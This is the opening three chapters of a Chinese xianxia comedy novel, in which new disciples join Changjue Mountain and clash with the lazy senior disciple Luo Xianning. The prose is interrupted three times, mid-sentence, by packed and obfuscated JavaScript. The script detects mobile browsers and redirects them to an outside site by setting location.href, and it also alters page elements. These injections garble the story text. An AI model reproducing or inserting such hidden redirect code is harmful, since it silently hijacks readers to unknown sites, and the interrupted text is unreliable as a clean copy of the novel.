《只此人间》 1. 轻狂1 春风和煦，阳光明媚。 长绝山下，新弟子报名即将结束。两名十六七岁的少年风尘仆仆地来到长绝山脚下，望着石阶上排成了一条长蛇的队伍，长长地舒了一口气。 “终于到了，累死我了！”年纪较长的那名少年以手为扇，喘着粗气，一屁股坐在了地上，“好端端的，非要拉着我来这么远的地方，这要是被堂姐知道了，一定打断我的腿不可……” 他自顾自说着，不经意间抬起头，看见他的堂弟正似痴傻之人一般，望着面前近在迟尺的山门发呆，口中喃喃自语:“这便是传说中的长绝山，仙人住的地方？果然比咱们碧落门气派多了，想必这里的弟子也十分厉害……” 他登时不开心了，伸长脖子斥责道:“阿泽，你怎么能长他人志气，灭自己威风呢？咱们碧落门好歹也是江湖中数一数二的……” 话音未落，就瞥见不远处刻着“长绝山”三个大字的大石头后面走出来两名女子。 沐辰风当即惊得眼珠子都快掉出来了，拽着沐灵泽的胳膊缓缓站起身来，张大嘴巴感叹道:“我的天呐，好美的女子，竟比堂姐还要美！难怪阿泽你宁愿冒着被堂姐打断腿的风险，也要来这里学艺……” 什么女子，竟比我阿姐还要美？沐灵泽这样想着，顺着沐辰风的视线望了过去。 重重石阶之上，确实立着两名身形单薄的女子。只见那两名女子年纪相仿，约摸二八年华，皆身着长绝山独有的蓝色如意云纹校服。其中一名女子，面若桃花，眼似秋水，生得那叫一个天资绝色，倾国倾城，只可惜周身仿佛盘旋着一股冷风，就差把“生人勿近”这四个字刻在脑门上了。 如此一来，再去看另外一名女子，就显得……平易近人多了。 只不过这名平易近人的女子怎的如此眼熟？仿佛在哪里见过似的。 “我都说了我是为了琼芳长老！你以为我跟你似的……”刚一转头，就看见沐辰风口水都滴了下来，险些滴在了自己的胳膊上，沐灵泽很是嫌弃地将他掀去了一边，“瞧你这没出息的样子！走，去排队！琼芳长老，我来啦！” *** 这是一个人、妖共存的人间，人鄙视妖，妖鄙视人。 这是一个三国鼎立的人间，天权、天启、天璇三分天下。 长绝山，独立于三国之外，四面环水，高耸入云，灵气充沛，与世隔绝，此乃修仙圣地也，妖魔畏而远之。 每隔三五年，长绝山便会招收新的弟子，进行为期数年的传道与授艺…… “看什么看？！不许看我师姐！再看把你眼珠子挖了！”见面前的男子一双眼睛色眯眯地往林惜英身上瞅，洛纤凝上前一步挡在林惜英身前，大声斥道。 男子听罢，赶忙低下头去，麻溜地在纸上写好自己的名字后，快步跟上右侧的队伍，朝山上走去。 “敢觊觎师姐你的美色，这要是大师兄在，一定给他们每人一个耳光！”望着男子灰溜溜的背影，洛纤凝双手叉腰，气呼呼道。 “大师兄应该不会这么野蛮粗鲁吧?”小师妹冯惜缘不知何时己站在了洛纤凝的身后，眨着一双水汪汪的大眼睛，低声说道。 洛纤凝被她吓了一跳，眸光一沉，吓唬她道：“你的意思是，你洛师姐我野蛮粗鲁喽？” “不是的洛师姐，我不是这个意思。”冯惜缘赶忙摆手解释，余光瞥见林惜英迈上了石阶，像是看到了救命稻草，指着林惜英的背影道:“哎，洛师姐，你看林师姐她怎么走了？是不是生气了？” 糟糕！洛纤凝这才想起来这回事，忙不迭追了上去，喊道:“师姐！我不是故意的，我以后不提大师兄了，你别生气嘛！你走那么快干嘛呀？你等等我……” “我没生气。”林惜英忽然道，然而脚步却一点都未放慢，“掌门将擢选新弟子一事交由我们两个，不可怠慢。” 洛纤凝漫不经心道:“不就是在一大群不会武功的人当中挑一些稍微有潜力的人嘛，区区小事，何必如此紧张？以前都是大师兄二师兄还有赤霞峰的弟子操办此事，如今终于轮到我们两个了！话说大师兄和二师兄都下山这么久了，怎么还不回来？” 林惜英道:“不知道，应当快了吧。” 说话间已行至无妄殿前，数百名前来拜师学艺之人也已断断续续地聚集在了一起，将要进行第一项测试——灵根测试。林惜英在上面讲话，顺便介绍自己名姓，洛纤凝在下面维持秩序，行至队伍后方时，忽见一眉清目秀的少年凑了过来，眨着星星般闪亮的眼睛问道:“这位师姐，我们之前是不是在哪里见过？我觉得你很是眼熟。” 眼熟？洛纤凝眉心一蹙，心想她此前从未下过山，怎会与他见过？于是朝后一退，一脸鄙夷道:“谁跟你见过？一来就套近乎，你爹娘怎么教的你？！” 模样倒是挺端正，没想到心却是个歪的！ “我没有套近乎！”见洛纤凝误会自己，沐灵泽慌忙解释道，“我是真的觉得师姐你眼熟！” “眼熟什么眼熟？我看你就是想……” “阿凝！”话音未落，就被林惜英大声打断，紧接着指着她道:“现在开始灵根测试，一个一个来，测试通过的，随这位洛师姐去演武场，进行下一场测试。” 洛师姐？沐灵泽心道:“原来这位师姐姓洛，和掌门洛逍一个姓？该不会是掌门的弟子吧？” 正想着，就看见洛纤凝十分不屑地瞪了他一眼，大摇大摆地朝一边走去。 坏了！他想，早知道就不说方才那句话了，这下肯定要被她瞧不起了，怎么办呀？他转头看向身侧的沐辰风，想找他商量个办法，结果却看见他盯着台阶上那位正在进行灵根测试的师姐，口水恨不能流三尺长:“林惜英，原来她叫林惜英。长得好看就算了，名字还这么好听，就是不知是哪个峰的弟子。阿泽，我决定了，我一定要通过比试，留在长绝山！以后林师姐在哪儿，我就在哪儿！” “……” 他怎么会有这么一个堂兄？真是丢死人了。算了，暂且先这样吧，待会儿只能靠实力洗清自己想走捷径的嫌疑了。 测完灵根后，一行人跟随洛纤凝的脚步往演武场走去，一路上廊庑绵延，花香四溢，流水潺潺，越往高处走，越感心中清凉与宁静。一行人左顾右盼，纷纷叹道:“不愧是修仙圣地，果真名不虚传！就是地儿有点太偏僻了，还有山下那吊桥，都多少年没修过了？感觉马上就要断了！” “谁说不是呢！还好我跑得快，这万一要是掉了下去，可就没命了！” 转过一处殿宇，行了百余步，便到了演武场。只见场内设有一处擂台，擂台两侧摆放着数把木制的长剑，想必是要擂台比武了。 一行人猜疑的当口，洛纤凝已坐在自己的专属座椅上嗑起了瓜子，小师弟叶惜真在一旁忙前忙后，时而为她添茶倒水，时而为她揉肩捶背，她望着台下乌泱泱的一群人，感觉此刻的自己，与掌门并无什么区别。 “咳！安静！”她拳头半握，以手掩唇，而后抬手制止台下的吵闹声，正欲发话，就看见林惜英快步迈上台来，望向“新弟子”，神色肃穆道:“接下来是擂台比武环节。比试前，你们会拿到一把木剑，胜数多者，留！败数多者，继续比试，直至淘汰！” 洛纤凝闻言大惊，像一只被踩到了尾巴的小猫，“腾”的一声从座椅上蹦了起来，窜到林惜英的身边抓狂道:“师姐，你怎么能抢我词儿呢？！” 这明明是她该说的词儿！ 林惜英斜她一眼，道:“等你嗑完瓜子喝完茶，天都黑了。比试开始！念到名字的，拿剑上台！” 洛纤凝:“……哼！” “好了别耍小性子了，下去盯着他们。”林惜英接过冯惜缘手中的名册，头也不转地对洛纤凝说道，随即面朝新弟子，念出了两个名字。 洛纤凝“哦”了一声，跳下了台，在擂台四周缓步踱了起来，谨防有人使暗招。她一边转悠，一边仔细观察比武之人的剑法，几轮过去，竟无一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286979|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的剑法可入她的眼，不是依靠蛮力拿剑乱砍，就是只学了一些皮毛，无甚可看。不过都是来拜师学艺的，什么都不会也挺正常。 她打了个哈欠，伸了个懒腰，听见林惜英念道:“下一个，沐灵泽！” 话音落，人群中走出来一个神采奕奕的少年，接过木剑，施展轻功跃至擂台一侧，拱手道:“得罪了！”旋即挺剑刺出，左一剑右一剑，上一剑下一剑，出剑之快，令台下之人目不暇接，更令招架之人连退数步，直至退下擂台。 洛纤凝眼前一亮，自言自语道:“这不是刚才套近乎的那小子么？这小子可以啊，这身法，都快赶上我了。按理说没必要套近乎，难道是我误会他了？” 接下来的几场比试，皆以沐灵泽获胜告终。连赢五场，且场场都是短短数招便逼得对手狼狈下台，令一众未入门之人无不艳羡。 沐灵泽心满意足地跳下了擂台，大步迈入了准弟子的行列，不多久，沐辰风也得意洋洋地向他走了过来，而后盯着台上的林惜英，又痴痴地望了起来。 “沐灵泽，沐辰风。”望着那两名骄傲且鲜活的少年，洛纤凝支着下巴思考了起来，“都姓沐，且剑法相似，必定是两兄弟。待会儿一定要将他们两个分开，气死他们，哈哈哈哈……” 正笑得欢快，突然，肩膀被人轻轻拍了一下，她扭头一看…… 沐辰风？！他方才不是在那边么？ 只见沐辰风弯着腰，笑得一脸贼相，一只手搭在嘴边，低声问道:“洛师姐，可否向您打听个事？” “……何事？”洛纤凝脖颈往后一倾，紧接着在心里想:“贼头贼脑，多半没好事。” 沐辰风眼睛望向林惜英，压低声音道:“不知林师姐是哪个峰的弟子？” “……” 果然，又是一个想觊觎师姐的登徒子！ 洛纤凝瞪他一眼，没好气道:“翠竹峰，琼芳长老。” “那我可不可以……” “对对对，我们可不可以拜入琼芳长老座下？”沐灵泽不知何时也溜了过来，心急如焚地问道。 他可不是为了林惜英，他是为了琼芳长老。听闻琼芳长老是仙，他若是能去翠竹峰，岂不是日日都能窥见琼芳长老的仙姿了。这位洛师姐看起来话语权很大、且比林惜英好说话的样子，若是她愿意帮忙，必定能助他得偿所愿！ 然而下一刻，洛纤凝的回答就浇了他一盆冷水，她说:“不可以。” “为什么？！”沐灵泽露出了不解的神色，他觉得像他这样尚未入门，剑术便已领先一众弟子的人，没道理不能挑最好的师父，说他是这群新弟子中的第一名都不为过！ 对于他的愤怒，洛纤凝恍若未觉，只懒洋洋地瞥了他一眼，道:“因为琼芳长老只收女弟子。” “什么？！”沐灵泽失声叫道，感觉洛纤凝这话犹如一道晴天霹雳，直直地劈到了他的头顶上，劈得他外焦里也焦。惊怒交加之下，他问道:“这怎么还歧视男弟子呢？！” 也没人跟他说琼芳长老只收女弟子啊！早知如此，他就不来了！ 沐辰风也愤愤不平道:“就是！琼芳长老怎么这样啊？！还仙人呢，依我看，一点也不仙嘛！” 洛纤凝偏头看向兄弟二人，见此二人很是怅然，有心添一把火。打定主意后，她邪魅一笑，道:“不过你们两个若是实在想拜入琼芳长老座下，也不是不可以。” “真的吗洛师姐？！”兄弟俩齐声喊道，尤其是沐灵泽，立刻换了副大喜过望的表情，急不可耐地问道:“洛师姐你有办法？什么办法？！” 洛纤凝轻咳一声，一本正经道:“割了，这样我也好帮你们从中周旋。” 兄弟俩一时没反应过来，眨巴着眼睛，一脸纳闷道:“割了？什么割了？割什么？” 洛纤凝长发一甩，挑眉笑道:“天机不可泄露，你们自己想吧，慢慢想，不着急。”说罢飞身跃至林惜英身旁，与林惜英商量起了分配弟子一事。 2. 轻狂2 夕阳西下，兄弟俩正在仔细琢磨“割了”是什么意思，还没琢磨完，比试就已经草草结束了。 洛纤凝模仿洛逍的神情语态，走到新弟子们跟前，一脸肃然地说道:“从此刻起，你们便是长绝山弟子！此为长绝山门规，每人一册，必须熟读成诵！若有触犯门规者，严惩不贷！”说罢示意老弟子们将门规手册分发给新弟子。 新弟子们接过门规，纷纷交头接耳了起来，沐灵泽正在好奇里面是什么内容，一本小小的手册已被塞进了手里。他翻开一看，登时被吓了一大跳:“一千八百条门规？！” 不是吧？！这么多？！他们碧落门连八百条门规都没有！ 他情不自禁地张口念了起来: “不可与妖为伍。” “不可与德行有失之人为伍。” “不可参与门派纷争。” “不可参与朝堂纷争。” “不可参与国之纷争。” “不可见死不救。” “不可欺负弱小。” “不可伤及无辜。” “不可以下犯上，目无尊长。” “不可撒谎，不可欺上瞒下。” “不可与同门打架斗殴。” “不可口出恶语。” “不可背后嚼人舌根，不可造谣中伤他人，不可恶意诋毁他人。” “不可骚扰他人。” “不可于山内饮酒。” “不可赌博。” “不可踏足烟花之地。” “不可行骗。” “不可偷窃。” “不可帮亲不帮理。” “切磋须双方同意，且有第三者在场。” “……” “不是吧？怎么这么多不可？！”沐灵泽感觉自己都快不认识“不可”这两个字了。旁边的沐辰风神色也没比他好看多少，两只眼睛转着圈，倚到了他的肩上，抱怨道:“怎么办阿泽，我已经快不认识‘不可’这两个字了。” 沐灵泽道:“岂止你，我也快不认识了。” “安静！”手册分发完毕，林惜英展开名册，大声道，“现在开始为你们分配去处。” “贺青鸾，翠竹峰！” “沐灵泽，缥缈峰！” “沐辰风，赤霞峰！” “……” 听见自己被分到了赤霞峰，沐辰风哭丧着脸道:“阿泽，怎么办？我们两个不在一起，他们为什么不把我们两个分在一起啊？”他窜到洛纤凝身边，做贼似的问道:“洛师姐，敢问您是哪个峰的弟子？” 洛纤凝望着被夕阳染红了的天空，冷冷答道:“缥缈峰，掌门弟子。” “哦，那您可不可以把我和我弟弟……” “不可以。”洛纤凝看都未看他一眼，便果断拒绝了他的要求。 “为什么？！”沐辰风腰板挺直，眼睛瞪大，丝毫不觉得自己在无理取闹。 洛纤凝斜他一眼，道:“我们长绝山不是任你挑三拣四的地方，把你分去哪儿，你就乖乖地去哪儿，不想去滚回家去！” “……你这人怎么说话呢？！你怎么能骂人呢？！”沐辰风指着洛纤凝，欲与她一争高下，沐灵泽见状，赶忙上前捂住他的嘴，将他拉去一边，并对洛纤凝点头哈腰道:“不好意思洛师姐，我这位堂兄幼时发烧把脑袋给烧坏了，您别跟他一般见识。” 洛纤凝“哼”了一声，果真便不与他计较了。 念完名字，林惜英合上名册，道:“你们的住处已经安排好了，现在请找到你们的师兄师姐，让他们带你们前往你们的住处。” 话音刚落，一个倨傲的声音便道:“赤霞峰的弟子都过来！我是你们的师兄，夏长殷！从今日起，你们就是赤霞峰的弟子了，拿好你们的东西，跟我走吧！” 一个稚嫩的声音紧随其后:“翠竹峰的弟子都过来！我是你们的师姐，冯惜缘，以后你们就是翠竹峰的弟子了，拿好你们的包袱，随我去翠竹峰吧！” “轮到我了。”洛纤凝清了清嗓子，朗声道:“缥缈峰的弟子都过来！我是你们的师姐，洛纤凝！以后呢，你们就是我……” 刚说到此处，就听身后响起一个幽怨的声音:“阿泽，我走了，你不要想念我。” “你走吧，放心，我是不会想念你的。” “阿泽你……” 洛纤凝转过身去，又是好气又是好笑:“你俩干嘛呢？生离死别呢？” 这兄弟俩真是有趣，各峰之间近在迟尺，想见面的话一个轻功随随便便就飘到各自面前了，何必搞得跟生离死别似的。 见洛纤凝阴冷的眼神瞪了过来，沐辰风慌忙松开沐灵泽的手臂，拎起包袱朝赤霞峰的师兄奔去。沐灵泽与一众缥缈峰的弟子则留在原地，等待洛纤凝带他们去自己的住处。 然而洛纤凝转头便将他们交给了其他弟子，然后一个人打着哈欠，慢悠悠地朝另一个方向走去…… 不用想都知道，她必定是回自己的房间去睡觉了。不过沐灵泽没工夫去管这些，此时此刻，他满脑子都是洛纤凝那句——“割了。” “割了？到底是什么意思呢？”他摸着下巴在房间里踱来踱去，自言自语道，“把头发割了？清净六根？琼芳长老喜欢这样的弟子？” 算了，不想了，既然已经被分到了缥缈峰，暂且就先认命吧，等得空了，一定要溜上翠竹峰去看看琼芳长老的仙容仙姿，也不枉千里迢迢来这一趟。睡吧睡吧。 次日早上，洛纤凝抱着被子睡得正香，就被一阵砸门声给震醒了。 “洛纤凝！！你还记得今天是什么日子么？！让你去教新弟子，你倒好，都日上三竿了，竟然还没有起床！你怎么有脸让新弟子等你？！”洛逍一拳又一拳地砸在洛纤凝的房门上，恨铁不成钢地吼道。 洛纤凝倏地睁开眼睛，道:“坏了，师父让我教新弟子，我竟然给忘了。” 她跳下床榻，三两下穿好衣服和靴子，并用手随意梳了梳头发，随后拉开门道:“吼什么嘛？你好歹也是个掌门，能不能注意一下自己的仪态？成天到晚吼来吼去，成何体统？” “你还有脸说？！还不都是被你给气的？！”洛逍满面怒气，眼里冒着火光，“为师曾经也是一个温润如玉的翩翩君子，自从把你捡上山后，就没过过一天顺心的日子！！” 洛纤凝翻着白眼道:“又开始怪我。” 还温润如玉，翩翩君子，切，鬼才信！ “我不怪你怪谁去？！难道怪我自己么？！也对，就应该怪我！怪我多管闲事！当初非要把你从山脚下捡回来！！” 再不走，迟早要被吼得体无完肤。洛纤凝忙不迭道:“好啦好啦，我这就去，行了吧？”说罢脸都没顾得上洗，拎起佩剑就朝演武场走去。 演武场内，望着姗姗来迟，且边走边打瞌睡的的洛纤凝，沐灵泽恨不得将白眼翻上天去。 这个洛纤凝，从昨夜打哈欠的时候就给他一种很不靠谱的感觉，到今日日上三竿，竟然还在打瞌睡！掌门为何会让她来教他们剑术和法术？没有其他师兄师姐了么？万一她教着教着睡着了怎么办？ 然而其余弟子仿佛都觉得洛纤凝很厉害，见洛纤凝走上前来，异口同声地喊道:“师姐好！！” 洛纤凝被这震天的响声给吓到了，杏目圆睁，瞌睡尽散，但仍旧一副无精打采的样子，挥挥手道:“师弟师妹们好。” “师姐，咱们今天学什么？先学剑术？还是先学法术？”弟子甲向洛纤凝投来满怀希冀的眼神，兴奋地问道。 其余弟子也道:“对啊师姐，咱们今天学什么？” 学什么？洛纤凝用指甲抠着下巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286980|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一会儿看看脚底，一会儿看看天空，终于，被她发现了什么，大呼道:“哎呀！今天这太阳真是……太歹毒了！走，师姐带你们去那边的树林里面练剑！” 沐灵泽仰头望向天空，低声道:“这太阳……很歹毒么？我怎么不觉得？” 一行人行至绿树成荫的林中，洛纤凝抽出自己的佩剑——凌云剑，舞了几招，接受了几句新弟子们的夸赞之后，瞥见洛逍那鬼鬼祟祟的身影总算消失在了林外，便收回剑，道:“咳！诸位师弟师妹们，你们有所不知，习武之路，艰苦万分，所以今日，咱们先自由活动，放松放松筋骨，等放松完了，我再教你们这世间最厉害的剑术和法术！记住，千万不要走出这片树林哦，这片树林可是我们长绝山灵气最充沛的地方！” 出了这片树林，让师父看见了，她就完蛋了。 说完这些话，她无视弟子们半信半疑的目光，径自走到一棵参天大树跟前，飞身而上，找了个心仪的角落睡起了大觉，边睡边喃喃道:“这一大清早的，我还没睡醒呢，就被那老头吼起来教新弟子。唉，大师兄二师兄，你们到底什么时候回来啊？你们回来我就不用教新弟子了……” 目睹洛纤凝这一连串荒唐的行为，叶惜真赶忙扑到树底下劝道:“师姐，这样不太好吧？师父让我监督你，这要是让师父知道了，我们两个……” 洛纤凝摆摆手，毫不在意道:“你不说我不说，师父上哪儿知道去？惜真呐，师姐昨夜忙了半宿，没有睡好，你出去帮师姐看着点，师父若是来了，你就喊一声。” “……” 叶惜真腮帮子一鼓，抬脚往外走去，嘴里嘟囔道:“从小到大，你哪天睡得好过？昨夜忙到半宿的人分明是我好吧？怎么没见我瞌睡？就你瞌睡多！” 林间说话声此起彼伏，但丝毫不影响洛纤凝迅速进入梦乡。梦里，她看见大师兄和二师兄买了好多好吃的东西给她，还有很多好看的话本，她一边吃着她最爱的蜜饯小枣，一边翻着她最爱的鬼故事…… 她舔了舔嘴角，正吃得开心，忽然，一个声音在耳边炸开:“洛师姐！” 洛纤凝“腾”的一下坐起身子，瞪向树下的人，想下去给他一脚，但又懒得下去。 沐灵泽扒着树干，压低了声音，小心翼翼地问道:“那个，我想打听一下，琼芳长老长什么样啊？” 原来是琼芳长老的仰慕者。 洛纤凝重新靠在树上，懒洋洋道:“就那样呗。” “那样是哪样？” “就……林师姐那样。” “什么？”沐灵泽讶然，“琼芳长老和林师姐一样美？” 琼芳长老竟还是个大美人？ “不是长得一样，”洛纤凝纠正道，“是气质，气质，懂不懂？” 原来如此。沐灵泽又问:“那琼芳长老的头发是黑的还是白的？” “废话，当然是黑的。” “可是神仙的头发不都是白的么？” “谁跟你说神仙的头发全都是白的？你话本看多了吧？！”洛纤凝不耐烦道。 “……哦。那我怎样才能见到琼芳长老？我可以去翠竹峰么？她老人家会不会把我赶出来？” “琼芳长老不在，外出云游去了。” “啊？！”沐灵泽手指抠着树干，险些将自己抠伤，“那她什么时候回来？！” “这我怎么知道？”洛纤凝翻了个身，背对着他，“闪一边去，别吵着我睡觉。” “……睡睡睡，就知道睡！”望着洛纤凝慵懒的背影，沐灵泽更加觉得此人不靠谱了，但也只敢在心里骂，“年纪轻轻，干点什么不好，偏爱睡觉！简直浪费光阴！！” 他本来还想再问一句，昨日那句“割了”到底是什么意思，但看她这副傲慢的模样，八成是不会和他讲的。算了，不问了。 3. 轻狂3 “沐兄！”听见有人唤他，沐灵泽转过身去，原来是弟子甲。 弟子甲走到他跟前，笑吟吟地问道:“昨日比试时，我看你剑术不错，不知从前师从哪位？” 沐灵泽想了一下，道:“是……我父母，和我阿姐，他们自幼习武，我的剑术都是他们教我的。” 弟子甲点点头道:“那你家在何处？北面，还是南面？看你这模样，倒像是南面的，天权人？” “不是，是天璇人。” “天璇好啊！虽然疆土不及其他两国辽阔，但横跨南北两方，是个人杰地灵的好地方！就是离长绝山远了点！” “多谢夸奖，多谢夸奖。”沐灵泽看了眼树上呼呼大睡的洛纤凝，将弟子甲拉去了一边，边走边问:“听兄台这口音，应当是北方人吧？” “正是！不瞒你说，我爹可是天启尚京城首富！我们家家财万贯！这不，实在花不出去了，就送我来这里求仙问道……” 一群人叽里呱啦，一聊就是一整天，没有任何不满，也没有跑去向掌门告状，叶惜真长长地舒了口气。以为到了第二日，洛纤凝应当睡醒了吧，结果又没有，又扔下一句自由活动，飞到树上睡觉去了。 望着新弟子们不悦的神色，叶惜真心想，再这样下去，迟早要被师父发现，看来只能他自己上了！ 他走到新弟子们跟前，发布命令道:“都起来，今日我来教你们剑术！” “你教我们？！”弟子甲惊讶道，“你一个小娃娃，今年有十三岁么？掌门不是让洛师姐教我们么？洛师姐不是让我们自由活动么？怎么又让你来教我们？她到底是想让我们放松筋骨，还是懒得教我们？！” “就是！”沐灵泽在一旁煽风点火道，“依我看，洛师姐八成是不想教我们！什么放松筋骨，都是骗人的！” 叶惜真绞尽脑汁欲替洛纤凝解释:“洛师姐她，她她她……” “她什么她？！起开！”弟子甲愤怒地掀开叶惜真，走到正在睡大觉的洛纤凝跟前，仰头问道:“洛师姐，其他峰的师兄师姐都已经开始教新弟子法术了，你为何总让我们自由活动？这都自由活动了快两天了！” 弟子乙道:“对啊！我们好歹也是交了钱的，你们不能只能只拿钱不办事啊！你再这样，我们就要去找掌门了！” 听见“掌门”二字，洛纤凝立马从树枝上弹了起来，望着树下的弟子，转了转眼珠，道:“咳！这不是……你们初来乍到，想让你们多聊聊天，增进一下彼此的感情嘛。你们别小瞧我这位师弟，他的剑术可是很厉害的，让他先教你们剑术，等明日，我就教你们法术，最厉害的法术！这样总可以了吧？” 众弟子不想得罪掌门的爱徒，思来想去，只好随叶惜真去往一边，决定再忍耐最后一天！唯有沐灵泽，依旧站在树底下，一双眼睛放着精光，一动不动地盯着洛纤凝，像是在盘算着什么不好的事情。 昨日在膳堂吃晚饭时，他正吃得好好的，就听一旁的沐辰风惊呼一声，一拍大腿，道:“我知道了阿泽！” 他被他吓得浑身一哆嗦，问道:“你知道什么了？” 沐辰风道:“我知道‘割了’是什么意思了？” 他问:“什么意思？” 沐辰风凑到他耳边，低声耳语了一句，他听罢，顿时大惊:“什么？！这个洛师姐，真是太坏了！她怎么能这么坏？！” “就是，她太坏了！”沐辰风咬牙切齿道，“我一定要找机会好好教训她一顿！” “还是算了吧，”他冷静地分析道，“人家可是掌门的亲传弟子，你能把人家怎么样？” “……也对哦，可是我还是很生气。这样吧，阿泽，你离她比较近，不如你找个机会，好好教训她一顿，就当是帮我们报仇了，怎么样？” 他本欲拒绝，怎奈何沐辰风最后又补充了一句:“不许拒绝，这事关我们男人的尊严！” 他只好道:“那好吧，我尽力！” 他想，该怎么教训她呢？向掌门告发她偷懒不好好教新弟子？这太幼稚了，而且就算去告状，掌门也顶多骂她几句，而他从此就要被她处处刁难了。昨日他已经向老弟子们打听清楚了，这个洛纤凝，可是掌门最钟爱的弟子，从小调皮捣蛋，欺负其他峰的弟子，连掌门都拿她没办法，大师兄二师兄甚至林师姐都得听她的，帮她抄门规抄经书以及扫台阶。 此人的魅力竟如此之大么？连林师姐那般高傲的人都得受她差遣？这太难以想象了！ 感受到一股灼热的视线在自己脸上扫来扫去，洛纤凝猛地睁开眼睛，喝道:“沐灵泽！你盯着我看什么呢？！”说话间已从树上跳了下来，双手叉腰冲沐灵泽吼道:“说！你是不是觊觎我的美色？！” 第一次见面就上来套近乎，现在又不怀好意地盯着她看，此人多半对她有非分之想！ 美色？就她？沐灵泽回过神来，深觉好笑，实在没忍住，道:“我？觊觎你的美色？洛师姐，你是不是对你的容貌过于自信了？我就算觊觎美色，那也是觊觎林师姐的美色，你有什么美色好让我觊觎的？！”说着扭头看向新弟子，故意提高声音问道:“你们说，我说的对不对？！林师姐是不是比洛师姐好看多了？！如果是你们，你们会觊觎哪位师姐？！” 众弟子听了二人的对话，笑得前仰后合，纷纷道:“当然是选林师姐了！林师姐貌美如花，是我见过这世间最好看的女子！至于洛师姐，不敢说不敢说！” 头一次被这么多人嘲笑，洛纤凝登时怒不可遏:“不许笑！你们都不许笑！沐灵泽！你这个丑八怪！谁给你的胆子敢这么跟我说话？！” 沐灵泽敛去笑容，正色道:“你说谁丑呢？我也没说你丑啊！” “我说你呢！你就丑，你就丑！” “你……洛师姐，你敢不敢和我比试一场？！” 这个洛纤凝，竟敢三番五次地欺辱他，必须得好好教训她一顿，寻回他男人的尊严！ “比试？”洛纤凝嗤笑一声，一脸的不屑，“笑话，我为何要与你这个新弟子比试？” 这有损她这个老弟子的威严，而且就算比试，他也绝不是她的对手，赢了也不光彩。 沐灵泽想了想，故意使用激将法道:“掌门让你教我们剑术和法术，可是这都两天快过去了，你什么都没教会我们，我看你是什么都不会吧！” 果然，洛纤凝上当了:“谁说我什么都不会？！” 竟敢质疑她的能力，真是好大的胆子！ 沐灵泽继续激她道:“那你为何不敢与我比试？怎么，怕输给我一个新弟子，没面子？” “我会输给你？”洛纤凝觉得他这话简直可笑，且狂妄至极！她斩钉截铁道:“好啊，比就比！谁怕谁！说吧，怎么比？！” 看她不趁此机会，好好教训他一顿！ 沐灵泽思忖片刻，指着旁边的树道:“就比谁先从树上掉下来，谁就算输！大伙都可以作证！你要是输了，就去掌门面前说你德不配位，不配教我们，让掌门给我们换个师兄过来！” “对！”众弟子起哄道，“你要是输了，就给我们换个师兄过来！他要是输了，我们大伙以后都听你的！你让我们往东，我们绝不往西！” 望着这群瞧不起她的新弟子，洛纤凝气得牙痒痒。虽然她也挺想让师父换个人过来教新弟子，但这事关长绝山的威严，以及她个人的威严，因此，她说什么都不能输！ 她拔出凌云剑，跃上树枝，傲气十足道:“一言为定！拔剑吧！” 沐灵泽见状，飞身而起。两个人说打就打，你一剑我一掌，一会儿他被她击得连连后退，一会儿她被他击得左躲右闪，衣袂翻飞剑光闪烁间，林间树叶与鸟儿被惊飞无数。洛纤凝长剑一挥，沐灵泽灵巧夺过，沐灵泽单腿横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286981|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫，洛纤凝一个后空翻，眨眼间便翻到了另一棵树上。 众弟子在底下喊道:“沐兄！加把劲！打败她！！” 沐灵泽受到了鼓舞，长剑一甩，如旋风一般转着圈朝洛纤凝袭去，却在半空中被洛纤凝的剑击了回来。只听“铮”的一声，洛纤凝收回凌云剑，横在面庞前，冲沐灵泽挑了挑眉，雪白的剑身倒映出她微微勾起的樱唇，她的脸上仿佛写着四个大字——“胜券在握”。 沐灵泽被她这不知天高地厚的表情给激到了，长剑在手，一踩树枝，挺剑刺去。洛纤凝运力格开，瞄准他的腰身就是一脚，却被他轻轻松松躲开。 就这样过招过了足足半个时辰，还是未分得胜负，洛纤凝心道:“我真是小看这个沐灵泽了，没想到他的功夫竟这般好。再这样下去，得比到猴年马月。看我的！” 她挑了棵最高的树，将人引了过来，旋即假装被他的剑气给震到了，故意脚下一滑，大叫一声，直直地向地面摔了下去，实则已经做好了随时腾空而起的准备。 不出意外，沐灵泽见此情景，未作他想，只当是他下手太狠，忙收剑归鞘，飞扑了过去，于半空中将人稳稳地揽进了怀里。毕竟这树挺高的，万一掉下去摔出什么三长两短，可如何是好。哪知他上一瞬刚将人揽住，下一瞬就见她嘿嘿一笑，反手给了他一掌，正好击在他的胸口，痛得他一颗心仿佛要飞出心脏。 这个洛纤凝，竟然敢诈他！亏得他好心扑过去救她，就怕她受一点伤！ 